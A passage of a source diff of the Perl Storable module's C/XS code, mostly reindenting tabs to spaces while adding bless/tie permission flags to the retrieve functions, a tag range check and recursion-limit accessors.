+            TRACEME(("has retrieved #%d at 0x%" UVxf, (int)tagn, PTR2UV(sv)));
+            SvREFCNT_inc(sv);	/* One more reference to this same sv */
+            return sv;		/* The SV pointer where object was retrieved */
+        }
 
-		/*
-		 * Map new object, but don't increase tagnum. This will be done
-		 * by each of the retrieve_* functions when they call SEEN().
-		 *
-		 * The mapping associates the "tag" initially present with a unique
-		 * tag number. See test for SX_OBJECT above to see how this is perused.
-		 */
+        /*
+         * Map new object, but don't increase tagnum. This will be done
+         * by each of the retrieve_* functions when they call SEEN().
+         *
+         * The mapping associates the "tag" initially present with a unique
+         * tag number. See test for SX_OBJECT above to see how this is perused.
+         */
 
-		if (!hv_store(cxt->hseen, (char *) &tag, sizeof(tag),
-				newSViv(cxt->tagnum), 0))
-			return (SV *) 0;
+        if (!hv_store(cxt->hseen, (char *) &tag, sizeof(tag),
+                      newSViv(cxt->tagnum), 0))
+            return (SV *) 0;
 
-		goto first_time;
-	}
+        goto first_time;
+    }
 
-	/*
-	 * Regular post-0.6 binary format.
-	 */
+    /*
+     * Regular post-0.6 binary format.
+     */
 
-	GETMARK(type);
+    GETMARK(type);
 
-	TRACEME(("retrieve type = %d", type));
+    TRACEME(("retrieve type = %d", type));
 
-	/*
-	 * Are we dealing with an object we should have already retrieved?
-	 */
+    /*
+     * Are we dealing with an object we should have already retrieved?
+     */
 
-	if (type == SX_OBJECT) {
-		I32 tag;
-		READ_I32(tag);
-		tag = ntohl(tag);
-		svh = av_fetch(cxt->aseen, tag, FALSE);
-		if (!svh)
-			CROAK(("Object #%" IVdf
-                               " should have been retrieved already",
-				(IV) tag));
-		sv = *svh;
-		TRACEME(("had retrieved #%d at 0x%" UVxf, tag, PTR2UV(sv)));
-		SvREFCNT_inc(sv);	/* One more reference to this same sv */
-		return sv;			/* The SV pointer where object was retrieved */
-	} else if (type >= SX_ERROR && cxt->ver_minor > STORABLE_BIN_MINOR) {
-            if (cxt->accept_future_minor < 0)
-                cxt->accept_future_minor
-                    = (SvTRUE(perl_get_sv("Storable::accept_future_minor",
-                                          GV_ADD))
-                       ? 1 : 0);
-            if (cxt->accept_future_minor == 1) {
-                CROAK(("Storable binary image v%d.%d contains data of type %d. "
-                       "This Storable is v%d.%d and can only handle data types up to %d",
-                       cxt->ver_major, cxt->ver_minor, type,
-                       STORABLE_BIN_MAJOR, STORABLE_BIN_MINOR, SX_ERROR - 1));
-            }
+    if (type == SX_OBJECT) {
+        I32 tag;
+        READ_I32(tag);
+        tag = ntohl(tag);
+#ifndef HAS_U64
+        /* A 32-bit system can't have over 2**31 objects anyway */
+        if (tag < 0)
+            CROAK(("Object #%" IVdf " out of range", (IV)tag));
+#endif
+        /* Older versions of Storable on with 64-bit support on 64-bit
+           systems can produce values above the 2G boundary (or wrapped above
+           the 4G boundary, which we can't do much about), treat those as
+           unsigned.
+           This same commit stores tag ids over the 2G boundary as long tags
+           since older Storables will mis-handle them as short tags.
+         */
+        svh = av_fetch(cxt->aseen, (U32)tag, FALSE);
+        if (!svh)
+            CROAK(("Object #%" IVdf " should have been retrieved already",
+                   (IV) tag));
+        sv = *svh;
+        TRACEME(("had retrieved #%d at 0x%" UVxf, (int)tag, PTR2UV(sv)));
+        SvREFCNT_inc(sv);	/* One more reference to this same sv */
+        return sv;		/* The SV pointer where object was retrieved */
+    } else if (type >= SX_LAST && cxt->ver_minor > STORABLE_BIN_MINOR) {
+        if (cxt->accept_future_minor < 0)
+            cxt->accept_future_minor
+                = (SvTRUE(get_sv("Storable::accept_future_minor",
+                                      GV_ADD))
+                   ? 1 : 0);
+        if (cxt->accept_future_minor == 1) {
+            CROAK(("Storable binary image v%d.%d contains data of type %d. "
+                   "This Storable is v%d.%d and can only handle data types up to %d",
+                   cxt->ver_major, cxt->ver_minor, type,
+                   STORABLE_BIN_MAJOR, STORABLE_BIN_MINOR, SX_LAST - 1));
         }
+    }
 
-first_time:		/* Will disappear when support for old format is dropped */
+ first_time:	/* Will disappear when support for old format is dropped */
 
-	/*
-	 * Okay, first time through for this one.
-	 */
+    /*
+     * Okay, first time through for this one.
+     */
 
-	sv = RETRIEVE(cxt, type)(aTHX_ cxt, cname);
-	if (!sv)
-		return (SV *) 0;			/* Failed */
+    sv = RETRIEVE(cxt, type)(aTHX_ cxt, cname);
+    if (!sv)
+        return (SV *) 0;		/* Failed */
 
-	/*
-	 * Old binary formats (pre-0.7).
-	 *
-	 * Final notifications, ended by SX_STORED may now follow.
-	 * Currently, the only pertinent notification to apply on the
-	 * freshly retrieved object is either:
-	 *    SX_CLASS <char-len> <classname> for short classnames.
-	 *    SX_LG_CLASS <int-len> <classname> for larger one (rare!).
-	 * Class name is then read into the key buffer pool used by
-	 * hash table key retrieval.
-	 */
+    /*
+     * Old binary formats (pre-0.7).
+     *
+     * Final notifications, ended by SX_STORED may now follow.
+     * Currently, the only pertinent notification to apply on the
+     * freshly retrieved object is either:
+     *    SX_CLASS <char-len> <classname> for short classnames.
+     *    SX_LG_CLASS <int-len> <classname> for larger one (rare!).
+     * Class name is then read into the key buffer pool used by
+     * hash table key retrieval.
+     */
 
-	if (cxt->ver_major < 2) {
-		while ((type = GETCHAR()) != SX_STORED) {
-			I32 len;
-			HV* stash;
-			switch (type) {
-			case SX_CLASS:
-				GETMARK(len);			/* Length coded on a single char */
-				break;
-			case SX_LG_CLASS:			/* Length coded on a regular integer */
-				RLEN(len);
-				break;
-			case EOF:
-			default:
-				return (SV *) 0;		/* Failed */
-			}
-			KBUFCHK((STRLEN)len);			/* Grow buffer as necessary */
-			if (len)
-				READ(kbuf, len);
-			kbuf[len] = '\0';			/* Mark string end */
-			stash = gv_stashpvn(kbuf, len, GV_ADD);
-			BLESS(sv, stash);
-		}
-	}
+    if (cxt->ver_major < 2) {
+        while ((type = GETCHAR()) != SX_STORED) {
+            I32 len;
+            HV* stash;
+            switch (type) {
+            case SX_CLASS:
+                GETMARK(len);		/* Length coded on a single char */
+                break;
+            case SX_LG_CLASS:		/* Length coded on a regular integer */
+                RLEN(len);
+                break;
+            case EOF:
+            default:
+                return (SV *) 0;	/* Failed */
+            }
+            KBUFCHK((STRLEN)len);	/* Grow buffer as necessary */
+            if (len)
+                READ(kbuf, len);
+            kbuf[len] = '\0';		/* Mark string end */
+            stash = gv_stashpvn(kbuf, len, GV_ADD);
+            BLESS(sv, stash);
+        }
+    }
 
-	TRACEME(("ok (retrieved 0x%" UVxf ", refcnt=%d, %s)", PTR2UV(sv),
-		SvREFCNT(sv) - 1, sv_reftype(sv, FALSE)));
+    TRACEME(("ok (retrieved 0x%" UVxf ", refcnt=%d, %s)", PTR2UV(sv),
+             (int)SvREFCNT(sv) - 1, sv_reftype(sv, FALSE)));
 
-	return sv;	/* Ok */
+    return sv;	/* Ok */
 }
 
 /*
@@ -6268,232 +7372,238 @@
  * Common routine for pretrieve and mretrieve.
  */
 static SV *do_retrieve(
-        pTHX_
-	PerlIO *f,
-	SV *in,
-	int optype)
+                       pTHX_
+                       PerlIO *f,
+                       SV *in,
+                       int optype,
+                       int flags)
 {
-	dSTCXT;
-	SV *sv;
-	int is_tainted;				/* Is input source tainted? */
-	int pre_06_fmt = 0;			/* True with pre Storable 0.6 formats */
+    dSTCXT;
+    SV *sv;
+    int is_tainted;		/* Is input source tainted? */
+    int pre_06_fmt = 0;		/* True with pre Storable 0.6 formats */
 
-	TRACEME(("do_retrieve (optype = 0x%x)", optype));
+    TRACEMED(("do_retrieve (optype = 0x%x, flags=0x%x)",
+	     (unsigned)optype, (unsigned)flags));
 
-	optype |= ST_RETRIEVE;
+    optype |= ST_RETRIEVE;
+    cxt->flags = flags;
 
-	/*
-	 * Sanity assertions for retrieve dispatch tables.
-	 */
+    /*
+     * Sanity assertions for retrieve dispatch tables.
+     */
 
-	ASSERT(sizeof(sv_old_retrieve) == sizeof(sv_retrieve),
-		("old and new retrieve dispatch table have same size"));
-	ASSERT(sv_old_retrieve[SX_ERROR] == retrieve_other,
-		("SX_ERROR entry correctly initialized in old dispatch table"));
-	ASSERT(sv_retrieve[SX_ERROR] == retrieve_other,
-		("SX_ERROR entry correctly initialized in new dispatch table"));
+    ASSERT(sizeof(sv_old_retrieve) == sizeof(sv_retrieve),
+           ("old and new retrieve dispatch table have same size"));
+    ASSERT(sv_old_retrieve[(int)SX_LAST] == retrieve_other,
+           ("SX_LAST entry correctly initialized in old dispatch table"));
+    ASSERT(sv_retrieve[(int)SX_LAST] == retrieve_other,
+           ("SX_LAST entry correctly initialized in new dispatch table"));
 
-	/*
-	 * Workaround for CROAK leak: if they enter with a "dirty" context,
-	 * free up memory for them now.
-	 */
+    /*
+     * Workaround for CROAK leak: if they enter with a "dirty" context,
+     * free up memory for them now.
+     */
 
-	assert(cxt);
-	if (cxt->s_dirty)
-		clean_context(aTHX_ cxt);
+    assert(cxt);
+    if (cxt->s_dirty)
+        clean_context(aTHX_ cxt);
 
-	/*
-	 * Now that STORABLE_xxx hooks exist, it is possible that they try to
-	 * re-enter retrieve() via the hooks.
-	 */
+    /*
+     * Now that STORABLE_xxx hooks exist, it is possible that they try to
+     * re-enter retrieve() via the hooks.
+     */
 
-	if (cxt->entry)
-		cxt = allocate_context(aTHX_ cxt);
+    if (cxt->entry) {
+        cxt = allocate_context(aTHX_ cxt);
+        cxt->flags = flags;
+    }
+    INIT_TRACEME;
 
-	cxt->entry++;
+    cxt->entry++;
 
-	ASSERT(cxt->entry == 1, ("starting new recursion"));
-	ASSERT(!cxt->s_dirty, ("clean context"));
+    ASSERT(cxt->entry == 1, ("starting new recursion"));
+    ASSERT(!cxt->s_dirty, ("clean context"));
 
-	/*
-	 * Prepare context.
-	 *
-	 * Data is loaded into the memory buffer when f is NULL, unless 'in' is
-	 * also NULL, in which case we're expecting the data to already lie
-	 * in the buffer (dclone case).
-	 */
+    /*
+     * Prepare context.
+     *
+     * Data is loaded into the memory buffer when f is NULL, unless 'in' is
+     * also NULL, in which case we're expecting the data to already lie
+     * in the buffer (dclone case).
+     */
 
-	KBUFINIT();			 		/* Allocate hash key reading pool once */
+    KBUFINIT();			 /* Allocate hash key reading pool once */
 
-	if (!f && in) {
+    if (!f && in) {
 #ifdef SvUTF8_on
-		if (SvUTF8(in)) {
-			STRLEN length;
-			const char *orig = SvPV(in, length);
-			char *asbytes;
-			/* This is quite deliberate. I want the UTF8 routines
-			   to encounter the '\0' which perl adds at the end
-			   of all scalars, so that any new string also has
-			   this.
-			*/
-			STRLEN klen_tmp = length + 1;
-			bool is_utf8 = TRUE;
+        if (SvUTF8(in)) {
+            STRLEN length;
+            const char *orig = SvPV(in, length);
+            char *asbytes;
+            /* This is quite deliberate. I want the UTF8 routines
+               to encounter the '\0' which perl adds at the end
+               of all scalars, so that any new string also has
+               this.
+            */
+            STRLEN klen_tmp = length + 1;
+            bool is_utf8 = TRUE;
 
-			/* Just casting the &klen to (STRLEN) won't work
-			   well if STRLEN and I32 are of different widths.
-			   --jhi */
-			asbytes = (char*)bytes_from_utf8((U8*)orig,
-							 &klen_tmp,
-							 &is_utf8);
-			if (is_utf8) {
-				CROAK(("Frozen string corrupt - contains characters outside 0-255"));
-			}
-			if (asbytes != orig) {
-				/* String has been converted.
-				   There is no need to keep any reference to
-				   the old string.  */
-				in = sv_newmortal();
-				/* We donate the SV the malloc()ed string
-				   bytes_from_utf8 returned us.  */
-				SvUPGRADE(in, SVt_PV);
-				SvPOK_on(in);
-				SvPV_set(in, asbytes);
-				SvLEN_set(in, klen_tmp);
-				SvCUR_set(in, klen_tmp - 1);
-			}
-		}
+            /* Just casting the &klen to (STRLEN) won't work
+               well if STRLEN and I32 are of different widths.
+               --jhi */
+            asbytes = (char*)bytes_from_utf8((U8*)orig,
+                                             &klen_tmp,
+                                             &is_utf8);
+            if (is_utf8) {
+                CROAK(("Frozen string corrupt - contains characters outside 0-255"));
+            }
+            if (asbytes != orig) {
+                /* String has been converted.
+                   There is no need to keep any reference to
+                   the old string.  */
+                in = sv_newmortal();
+                /* We donate the SV the malloc()ed string
+                   bytes_from_utf8 returned us.  */
+                SvUPGRADE(in, SVt_PV);
+                SvPOK_on(in);
+                SvPV_set(in, asbytes);
+                SvLEN_set(in, klen_tmp);
+                SvCUR_set(in, klen_tmp - 1);
+            }
+        }
 #endif
-		MBUF_SAVE_AND_LOAD(in);
-	}
+        MBUF_SAVE_AND_LOAD(in);
+    }
 
-	/*
-	 * Magic number verifications.
-	 *
-	 * This needs to be done before calling init_retrieve_context()
-	 * since the format indication in the file are necessary to conduct
-	 * some of the initializations.
-	 */
+    /*
+     * Magic number verifications.
+     *
+     * This needs to be done before calling init_retrieve_context()
+     * since the format indication in the file are necessary to conduct
+     * some of the initializations.
+     */
 
-	cxt->fio = f;				/* Where I/O are performed */
+    cxt->fio = f;			/* Where I/O are performed */
 
-	if (!magic_check(aTHX_ cxt))
-		CROAK(("Magic number checking on storable %s failed",
-			cxt->fio ? "file" : "string"));
+    if (!magic_check(aTHX_ cxt))
+        CROAK(("Magic number checking on storable %s failed",
+               cxt->fio ? "file" : "string"));
 
-	TRACEME(("data stored in %s format",
-		cxt->netorder ? "net order" : "native"));
+    TRACEME(("data stored in %s format",
+             cxt->netorder ? "net order" : "native"));
 
-	/*
-	 * Check whether input source is tainted, so that we don't wrongly
-	 * taint perfectly good values...
-	 *
-	 * We assume file input is always tainted.  If both 'f' and 'in' are
-	 * NULL, then we come from dclone, and tainted is already filled in
-	 * the context.  That's a kludge, but the whole dclone() thing is
-	 * already quite a kludge anyway! -- RAM, 15/09/2000.
-	 */
+    /*
+     * Check whether input source is tainted, so that we don't wrongly
+     * taint perfectly good values...
+     *
+     * We assume file input is always tainted.  If both 'f' and 'in' are
+     * NULL, then we come from dclone, and tainted is already filled in
+     * the context.  That's a kludge, but the whole dclone() thing is
+     * already quite a kludge anyway! -- RAM, 15/09/2000.
+     */
 
-	is_tainted = f ? 1 : (in ? SvTAINTED(in) : cxt->s_tainted);
-	TRACEME(("input source is %s", is_tainted ? "tainted" : "trusted"));
-	init_retrieve_context(aTHX_ cxt, optype, is_tainted);
+    is_tainted = f ? 1 : (in ? SvTAINTED(in) : cxt->s_tainted);
+    TRACEME(("input source is %s", is_tainted ? "tainted" : "trusted"));
+    init_retrieve_context(aTHX_ cxt, optype, is_tainted);
 
-	ASSERT(is_retrieving(aTHX), ("within retrieve operation"));
+    ASSERT(is_retrieving(aTHX), ("within retrieve operation"));
 
-	sv = retrieve(aTHX_ cxt, 0);		/* Recursively retrieve object, get root SV */
+    sv = retrieve(aTHX_ cxt, 0); /* Recursively retrieve object, get root SV */
 
-	/*
-	 * Final cleanup.
-	 */
+    /*
+     * Final cleanup.
+     */
 
-	if (!f && in)
-		MBUF_RESTORE();
+    if (!f && in)
+        MBUF_RESTORE();
 
-	pre_06_fmt = cxt->hseen != NULL;	/* Before we clean context */
+    pre_06_fmt = cxt->hseen != NULL;	/* Before we clean context */
 
-	/*
-	 * The "root" context is never freed.
-	 */
+    /*
+     * The "root" context is never freed.
+     */
 
-	clean_retrieve_context(aTHX_ cxt);
-	if (cxt->prev)				/* This context was stacked */
-		free_context(aTHX_ cxt);		/* It was not the "root" context */
+    clean_retrieve_context(aTHX_ cxt);
+    if (cxt->prev)			/* This context was stacked */
+        free_context(aTHX_ cxt);	/* It was not the "root" context */
 
-	/*
-	 * Prepare returned value.
-	 */
+    /*
+     * Prepare returned value.
+     */
 
-	if (!sv) {
-		TRACEME(("retrieve ERROR"));
-#if (PATCHLEVEL <= 4) 
-		/* perl 5.00405 seems to screw up at this point with an
-		   'attempt to modify a read only value' error reported in the
-		   eval { $self = pretrieve(*FILE) } in _retrieve.
-		   I can't see what the cause of this error is, but I suspect a
-		   bug in 5.004, as it seems to be capable of issuing spurious
-		   errors or core dumping with matches on $@. I'm not going to
-		   spend time on what could be a fruitless search for the cause,
-		   so here's a bodge. If you're running 5.004 and don't like
-		   this inefficiency, either upgrade to a newer perl, or you are
-		   welcome to find the problem and send in a patch.
-		 */
-		return newSV(0);
+    if (!sv) {
+        TRACEMED(("retrieve ERROR"));
+#if (PATCHLEVEL <= 4)
+        /* perl 5.00405 seems to screw up at this point with an
+           'attempt to modify a read only value' error reported in the
+           eval { $self = pretrieve(*FILE) } in _retrieve.
+           I can't see what the cause of this error is, but I suspect a
+           bug in 5.004, as it seems to be capable of issuing spurious
+           errors or core dumping with matches on $@. I'm not going to
+           spend time on what could be a fruitless search for the cause,
+           so here's a bodge. If you're running 5.004 and don't like
+           this inefficiency, either upgrade to a newer perl, or you are
+           welcome to find the problem and send in a patch.
+        */
+        return newSV(0);
 #else
-		return &PL_sv_undef;		/* Something went wrong, return undef */
+        return &PL_sv_undef;		/* Something went wrong, return undef */
 #endif
-	}
+    }
 
-	TRACEME(("retrieve got %s(0x%" UVxf ")",
-		sv_reftype(sv, FALSE), PTR2UV(sv)));
+    TRACEMED(("retrieve got %s(0x%" UVxf ")",
+             sv_reftype(sv, FALSE), PTR2UV(sv)));
 
-	/*
-	 * Backward compatibility with Storable-0.5 at 9 (which we know we
-	 * are retrieving if hseen is non-null): don't create an extra RV
-	 * for objects since we special-cased it at store time.
-	 *
-	 * Build a reference to the SV returned by pretrieve even if it is
-	 * already one and not a scalar, for consistency reasons.
-	 */
+    /*
+     * Backward compatibility with Storable-0.5 at 9 (which we know we
+     * are retrieving if hseen is non-null): don't create an extra RV
+     * for objects since we special-cased it at store time.
+     *
+     * Build a reference to the SV returned by pretrieve even if it is
+     * already one and not a scalar, for consistency reasons.
+     */
 
-	if (pre_06_fmt) {			/* Was not handling overloading by then */
-		SV *rv;
-		TRACEME(("fixing for old formats -- pre 0.6"));
-		if (sv_type(aTHX_ sv) == svis_REF && (rv = SvRV(sv)) && SvOBJECT(rv)) {
-			TRACEME(("ended do_retrieve() with an object -- pre 0.6"));
-			return sv;
-		}
-	}
+    if (pre_06_fmt) {			/* Was not handling overloading by then */
+        SV *rv;
+        TRACEMED(("fixing for old formats -- pre 0.6"));
+        if (sv_type(aTHX_ sv) == svis_REF && (rv = SvRV(sv)) && SvOBJECT(rv)) {
+            TRACEME(("ended do_retrieve() with an object -- pre 0.6"));
+            return sv;
+        }
+    }
 
-	/*
-	 * If reference is overloaded, restore behaviour.
-	 *
-	 * NB: minor glitch here: normally, overloaded refs are stored specially
-	 * so that we can croak when behaviour cannot be re-installed, and also
-	 * avoid testing for overloading magic at each reference retrieval.
-	 *
-	 * Unfortunately, the root reference is implicitly stored, so we must
-	 * check for possible overloading now.  Furthermore, if we don't restore
-	 * overloading, we cannot croak as if the original ref was, because we
-	 * have no way to determine whether it was an overloaded ref or not in
-	 * the first place.
-	 *
-	 * It's a pity that overloading magic is attached to the rv, and not to
-	 * the underlying sv as blessing is.
-	 */
+    /*
+     * If reference is overloaded, restore behaviour.
+     *
+     * NB: minor glitch here: normally, overloaded refs are stored specially
+     * so that we can croak when behaviour cannot be re-installed, and also
+     * avoid testing for overloading magic at each reference retrieval.
+     *
+     * Unfortunately, the root reference is implicitly stored, so we must
+     * check for possible overloading now.  Furthermore, if we don't restore
+     * overloading, we cannot croak as if the original ref was, because we
+     * have no way to determine whether it was an overloaded ref or not in
+     * the first place.
+     *
+     * It's a pity that overloading magic is attached to the rv, and not to
+     * the underlying sv as blessing is.
+     */
 
-	if (SvOBJECT(sv)) {
-		HV *stash = (HV *) SvSTASH(sv);
-		SV *rv = newRV_noinc(sv);
-		if (stash && Gv_AMG(stash)) {
-			SvAMAGIC_on(rv);
-			TRACEME(("restored overloading on root reference"));
-		}
-		TRACEME(("ended do_retrieve() with an object"));
-		return rv;
-	}
+    if (SvOBJECT(sv)) {
+        HV *stash = (HV *) SvSTASH(sv);
+        SV *rv = newRV_noinc(sv);
+        if (stash && Gv_AMG(stash)) {
+            SvAMAGIC_on(rv);
+            TRACEMED(("restored overloading on root reference"));
+        }
+        TRACEMED(("ended do_retrieve() with an object"));
+        return rv;
+    }
 
-	TRACEME(("regular do_retrieve() end"));
+    TRACEMED(("regular do_retrieve() end"));
 
-	return newRV_noinc(sv);
+    return newRV_noinc(sv);
 }
 
 /*
@@ -6501,10 +7611,10 @@
  *
  * Retrieve data held in file and return the root object, undef on error.
  */
-static SV *pretrieve(pTHX_ PerlIO *f)
+static SV *pretrieve(pTHX_ PerlIO *f, IV flag)
 {
-	TRACEME(("pretrieve"));
-	return do_retrieve(aTHX_ f, Nullsv, 0);
+    TRACEMED(("pretrieve"));
+    return do_retrieve(aTHX_ f, Nullsv, 0, (int)flag);
 }
 
 /*
@@ -6512,10 +7622,10 @@
  *
  * Retrieve data held in scalar and return the root object, undef on error.
  */
-static SV *mretrieve(pTHX_ SV *sv)
+static SV *mretrieve(pTHX_ SV *sv, IV flag)
 {
-	TRACEME(("mretrieve"));
-	return do_retrieve(aTHX_ (PerlIO*) 0, sv, 0);
+    TRACEMED(("mretrieve"));
+    return do_retrieve(aTHX_ (PerlIO*) 0, sv, 0, (int)flag);
 }
 
 /***
@@ -6533,78 +7643,78 @@
  */
 static SV *dclone(pTHX_ SV *sv)
 {
-	dSTCXT;
-	int size;
-	stcxt_t *real_context;
-	SV *out;
+    dSTCXT;
+    STRLEN size;
+    stcxt_t *real_context;
+    SV *out;
 
-	TRACEME(("dclone"));
+    TRACEMED(("dclone"));
 
-	/*
-	 * Workaround for CROAK leak: if they enter with a "dirty" context,
-	 * free up memory for them now.
-	 */
+    /*
+     * Workaround for CROAK leak: if they enter with a "dirty" context,
+     * free up memory for them now.
+     */
 
-        assert(cxt);
-	if (cxt->s_dirty)
-		clean_context(aTHX_ cxt);
+    assert(cxt);
+    if (cxt->s_dirty)
+        clean_context(aTHX_ cxt);
 
-	/*
-	 * Tied elements seem to need special handling.
-	 */
+    /*
+     * Tied elements seem to need special handling.
+     */
 
-	if ((SvTYPE(sv) == SVt_PVLV
+    if ((SvTYPE(sv) == SVt_PVLV
 #if PERL_VERSION < 8
-	     || SvTYPE(sv) == SVt_PVMG
+         || SvTYPE(sv) == SVt_PVMG
 #endif
-	     ) && (SvFLAGS(sv) & (SVs_GMG|SVs_SMG|SVs_RMG)) ==
-					(SVs_GMG|SVs_SMG|SVs_RMG) &&
-	     mg_find(sv, 'p')) {
-		mg_get(sv);
-	}
+         ) && (SvFLAGS(sv) & (SVs_GMG|SVs_SMG|SVs_RMG)) ==
+        (SVs_GMG|SVs_SMG|SVs_RMG) &&
+        mg_find(sv, 'p')) {
+        mg_get(sv);
+    }
 
-	/*
-	 * do_store() optimizes for dclone by not freeing its context, should
-	 * we need to allocate one because we're deep cloning from a hook.
-	 */
+    /*
+     * do_store() optimizes for dclone by not freeing its context, should
+     * we need to allocate one because we're deep cloning from a hook.
+     */
 
-	if (!do_store(aTHX_ (PerlIO*) 0, sv, ST_CLONE, FALSE, (SV**) 0))
-		return &PL_sv_undef;				/* Error during store */
+    if (!do_store(aTHX_ (PerlIO*) 0, sv, ST_CLONE, FALSE, (SV**) 0))
+        return &PL_sv_undef;				/* Error during store */
 
-	/*
-	 * Because of the above optimization, we have to refresh the context,
-	 * since a new one could have been allocated and stacked by do_store().
-	 */
+    /*
+     * Because of the above optimization, we have to refresh the context,
+     * since a new one could have been allocated and stacked by do_store().
+     */
 
-	{ dSTCXT; real_context = cxt; }		/* Sub-block needed for macro */
-	cxt = real_context;					/* And we need this temporary... */
+    { dSTCXT; real_context = cxt; }		/* Sub-block needed for macro */
+    cxt = real_context;					/* And we need this temporary... */
 
-	/*
-	 * Now, 'cxt' may refer to a new context.
-	 */
+    /*
+     * Now, 'cxt' may refer to a new context.
+     */
 
-	assert(cxt);
-	ASSERT(!cxt->s_dirty, ("clean context"));
-	ASSERT(!cxt->entry, ("entry will not cause new context allocation"));
+    assert(cxt);
+    ASSERT(!cxt->s_dirty, ("clean context"));
+    ASSERT(!cxt->entry, ("entry will not cause new context allocation"));
 
-	size = MBUF_SIZE();
-	TRACEME(("dclone stored %d bytes", size));
-	MBUF_INIT(size);
+    size = MBUF_SIZE();
+    TRACEME(("dclone stored %ld bytes", (long)size));
+    MBUF_INIT(size);
 
-	/*
-	 * Since we're passing do_retrieve() both a NULL file and sv, we need
-	 * to pre-compute the taintedness of the input by setting cxt->tainted
-	 * to whatever state our own input string was.	-- RAM, 15/09/2000
-	 *
-	 * do_retrieve() will free non-root context.
-	 */
+    /*
+     * Since we're passing do_retrieve() both a NULL file and sv, we need
+     * to pre-compute the taintedness of the input by setting cxt->tainted
+     * to whatever state our own input string was.	-- RAM, 15/09/2000
+     *
+     * do_retrieve() will free non-root context.
+     */
 
-	cxt->s_tainted = SvTAINTED(sv);
-	out = do_retrieve(aTHX_ (PerlIO*) 0, Nullsv, ST_CLONE);
+    cxt->s_tainted = SvTAINTED(sv);
+    out = do_retrieve(aTHX_ (PerlIO*) 0, Nullsv, ST_CLONE, FLAG_BLESS_OK | FLAG_TIE_OK);
 
-	TRACEME(("dclone returns 0x%" UVxf, PTR2UV(out)));
+    TRACEMED(("dclone returns 0x%" UVxf, PTR2UV(out)));
 
-	return out;
+    return out;
 }
 
 /***
@@ -6623,21 +7733,21 @@
 
 #ifndef OutputStream
 #define OutputStream	PerlIO *
-#define InputStream		PerlIO *
+#define InputStream	PerlIO *
 #endif	/* !OutputStream */
 
 static int
 storable_free(pTHX_ SV *sv, MAGIC* mg) {
-	stcxt_t *cxt = (stcxt_t *)SvPVX(sv);
+    stcxt_t *cxt = (stcxt_t *)SvPVX(sv);
 
-	PERL_UNUSED_ARG(mg);
-	if (kbuf)
-		Safefree(kbuf);
-	if (!cxt->membuf_ro && mbase)
-		Safefree(mbase);
-	if (cxt->membuf_ro && (cxt->msaved).arena)
-		Safefree((cxt->msaved).arena);
-	return 0;
+    PERL_UNUSED_ARG(mg);
+    if (kbuf)
+        Safefree(kbuf);
+    if (!cxt->membuf_ro && mbase)
+        Safefree(mbase);
+    if (cxt->membuf_ro && (cxt->msaved).arena)
+        Safefree((cxt->msaved).arena);
+    return 0;
 }
 
 MODULE = Storable	PACKAGE = Storable
@@ -6660,12 +7770,12 @@
 #ifdef USE_56_INTERWORK_KLUDGE
     gv_fetchpv("Storable::interwork_56_64bit",   GV_ADDMULTI, SVt_PV);
 #endif
-}
+    }
 
 void
 init_perinterp()
- CODE:
-  init_perinterp(aTHX);
+CODE:
+    init_perinterp(aTHX);
 
 # pstore
 #
@@ -6679,16 +7789,16 @@
 
 SV *
 pstore(f,obj)
-OutputStream	f
-SV *	obj
- ALIAS:
-  net_pstore = 1
- PPCODE:
-  RETVAL = do_store(aTHX_ f, obj, 0, ix, (SV **)0) ? &PL_sv_yes : &PL_sv_undef;
-  /* do_store() can reallocate the stack, so need a sequence point to ensure
-     that ST(0) knows about it. Hence using two statements.  */
-  ST(0) = RETVAL;
-  XSRETURN(1);
+    OutputStream f
+    SV*		obj
+ALIAS:
+    net_pstore = 1
+PPCODE:
+    RETVAL = do_store(aTHX_ f, obj, 0, ix, (SV **)0) ? &PL_sv_yes : &PL_sv_undef;
+    /* do_store() can reallocate the stack, so need a sequence point to ensure
+       that ST(0) knows about it. Hence using two statements.  */
+    ST(0) = RETVAL;
+    XSRETURN(1);
 
 # mstore
 #
@@ -6702,55 +7812,70 @@
 
 SV *
 mstore(obj)
-SV *	obj
- ALIAS:
-  net_mstore = 1
- CODE:
-  RETVAL = &PL_sv_undef;
-  if (!do_store(aTHX_ (PerlIO*) 0, obj, 0, ix, &RETVAL))
+    SV*	obj
+ALIAS:
+    net_mstore = 1
+CODE:
     RETVAL = &PL_sv_undef;
- OUTPUT:
-  RETVAL
+    if (!do_store(aTHX_ (PerlIO*) 0, obj, 0, ix, &RETVAL))
+        RETVAL = &PL_sv_undef;
+OUTPUT:
+    RETVAL
 
 SV *
-pretrieve(f)
-InputStream	f
- CODE:
-  RETVAL = pretrieve(aTHX_ f);
- OUTPUT:
-  RETVAL
+pretrieve(f, flag = 6)
+    InputStream	f
+    IV		flag
+CODE:
+    RETVAL = pretrieve(aTHX_ f, flag);
+OUTPUT:
+    RETVAL
 
 SV *
-mretrieve(sv)
-SV *	sv
- CODE:
-  RETVAL = mretrieve(aTHX_ sv);
- OUTPUT:
-  RETVAL
+mretrieve(sv, flag = 6)
+    SV* sv
+    IV	flag
+CODE:
+    RETVAL = mretrieve(aTHX_ sv, flag);
+OUTPUT:
+    RETVAL
 
 SV *
 dclone(sv)
-SV *	sv
- CODE:
-  RETVAL = dclone(aTHX_ sv);
- OUTPUT:
-  RETVAL
+    SV*	sv
+CODE:
+    RETVAL = dclone(aTHX_ sv);
+OUTPUT:
+    RETVAL
 
 void
 last_op_in_netorder()
- ALIAS:
- is_storing = ST_STORE
- is_retrieving = ST_RETRIEVE
- PREINIT:
-  bool result;
- PPCODE:
-  if (ix) {
-   dSTCXT;
+ALIAS:
+    is_storing = ST_STORE
+    is_retrieving = ST_RETRIEVE
+PREINIT:
+    bool result;
+CODE:
+    if (ix) {
+        dSTCXT;
+        assert(cxt);
+        result = cxt->entry && (cxt->optype & ix) ? TRUE : FALSE;
+    } else {
+        result = !!last_op_in_netorder(aTHX);
+    }
+    ST(0) = boolSV(result);
 
-   assert(cxt);
-   result = cxt->entry && (cxt->optype & ix) ? TRUE : FALSE;
-  } else {
-   result = !!last_op_in_netorder(aTHX);
-  }
-  ST(0) = boolSV(result);
-  XSRETURN(1);
+
+IV
+stack_depth()
+CODE:
+    RETVAL = SvIV(get_sv("Storable::recursion_limit", GV_ADD));
+OUTPUT:
+    RETVAL
+
+IV
+stack_depth_hash()
+CODE:
+    RETVAL = SvIV(get_sv("Storable::recursion_limit_hash", GV_ADD));
+OUTPUT:
+    RETVAL

Added: vendor/perl/dist/dist/Storable/__Storable__.pm
===================================================================
--- vendor/perl/dist/dist/Storable/__Storable__.pm	                        (rev 0)
